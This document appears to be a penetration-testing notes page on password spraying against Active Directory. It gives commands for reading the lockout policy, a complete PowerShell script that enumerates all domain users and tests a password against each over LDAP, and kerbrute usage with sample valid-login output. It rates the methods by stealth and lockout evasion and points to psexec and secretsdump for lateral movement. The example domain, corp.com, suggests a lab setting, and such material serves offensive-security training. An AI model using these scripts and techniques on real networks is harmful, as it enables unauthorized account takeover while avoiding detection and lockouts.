# Password Spraying

Before attempting any password attacks, check the domain's **account lockout policy** to avoid locking out accounts or triggering alerts. For instance, based on the below policy, we can safely try 4 login attempts per user every 30 minutes (192 attempts per user per day):

{% tabs %}
{% tab title="NetExec" %}
We can read the domain's password policy from Linux:

```bash
# List the domain's password policy
nxc smb <target-ip> -u <user> -p <pass> --pass-pol
```
{% endtab %}

{% tab title="Net" %}
Enumerate the domain's password policy from the target Windows host:

```powershell
# List the account policy
> net accounts
...
Lockout threshold:                                    5
Lockout duration (minutes):                           30
Lockout observation window (minutes):                 30
...
```
{% endtab %}
{% endtabs %}

## LDAP-Based

This method leverages LDAP binding via PowerShell’s `.NET` libraries. It attempts authentication by trying to create an LDAP object — if it succeeds, the credentials are valid. This method is **stealthy**, no interactive log in, and **respects lockout policy**, but is **slow** and **limited to one password per run**.

{% tabs %}
{% tab title="Manual" %}
On the below example, if the password is invalid it will throw an error, if it's it will return the DN:&#x20;

{% code overflow="wrap" %}
```powershell
# Get the domain and PDC
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = $domain.PdcRoleOwner.Name

# Construct the LDAP path
$ldap = "LDAP://$PDC/DC=" + $domain.Name.Replace('.', ',DC=')
# Attempt authentication
$entry = New-Object System.DirectoryServices.DirectoryEntry($ldap, "pete", "Nexus123!")

# Trigger authentication
$entry.distinguishedName  # Triggers authentication
```
{% endcode %}
{% endtab %}

{% tab title="Automated" %}
We can automate this with a script which loops through AD users and reports valid logins:

{% code title=".\LDAPSpray.ps1" overflow="wrap" %}
```powershell
param(
    [string]$Password = "Nexus123!",
    [string]$Domain = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).Name
)

Write-Host "[*] Starting LDAP password spray for domain: $Domain"
$PDC = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner).Name
$LDAP = "LDAP://$PDC/DC=" + $Domain.Replace('.', ',DC=')

# Get all users from AD
$Searcher = New-Object DirectoryServices.DirectorySearcher
$Searcher.Filter = "(objectCategory=person)"
$Searcher.PageSize = 1000
$Searcher.PropertiesToLoad.Add("sAMAccountName") > $null
$Users = $Searcher.FindAll() | ForEach-Object { $_.Properties.samaccountname }

foreach ($User in $Users) {
    if ([string]::IsNullOrWhiteSpace($User)) { continue }

    try {
        $Entry = New-Object System.DirectoryServices.DirectoryEntry($LDAP, $User, $Password)
        $null = $Entry.distinguishedName  # Force bind/authentication
        Write-Host "[+] VALID: $User : $Password"
    } catch {
        Write-Host "[-] INVALID: $User"
    }
}
```
{% endcode %}

We can then use it as follows:

```powershell
> .\LDAPSpray.ps1 -Password "Nexus123!"
```
{% endtab %}
{% endtabs %}

## SMB-Based

This method involves a full SMB session setup/teardown on each authentication attempt so it's **slow**, **noisy**, and **does not respect the lockout policy**.

> _With `netxec`, if a sprayed password is valid_ _and the user is a `local administrator` on the target system, the `(Pwn3d!)` string will appear. This means that tools like `psexec`, `wmiexec`, or `secretsdump` can be used for lateral movement or privilege escalation._

## Kerberos-Based

This method uses Kerberos `AS-REQ`s to test credentials. It's **lightweight** (no full session required) and **fast** (only two UDP packets per attempt: `AS-REQ`, `AS REP`/`error`).&#x20;

This attack can be performed with tools like [`kerbrute`](https://github.com/ropnop/kerbrute), a cross-platform tool which performs password spraying by automating `AS-REQ` requests and interpreting the responses:

{% hint style="warning" %}
Ensure the files is encoded in **ANSI**, not UTF-8 with BOM. If you see strange network errors from `kerbrute`, try re-saving the file in Notepad with **Encoding: ANSI** via "Save As".
{% endhint %}

```powershell
> .\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
...
2022/09/06 20:30:48 >  Using KDC(s):
2022/09/06 20:30:48 >   dc1.corp.com:88
2022/09/06 20:30:48 >  [+] VALID LOGIN:  jen@corp.com:Nexus123!
2022/09/06 20:30:48 >  [+] VALID LOGIN:  pete@corp.com:Nexus123!
2022/09/06 20:30:48 >  Done! Tested 3 logins (2 successes) in 0.041 seconds
```

## Method Comparison

| Protocol | Noise | Lockout-Safe | Speed     | Notes                              |
| -------- | ----- | ------------ | --------- | ---------------------------------- |
| LDAP     | Low   | ✅ Yes        | Medium    | Scriptable, stealthy               |
| SMB      | High  | ❌ No         | Slow      | Reveals admin access (`Pwn3d!`)    |
| Kerberos | Low   | ❌ No         | Very Fast | UDP-based, great for fast spraying |
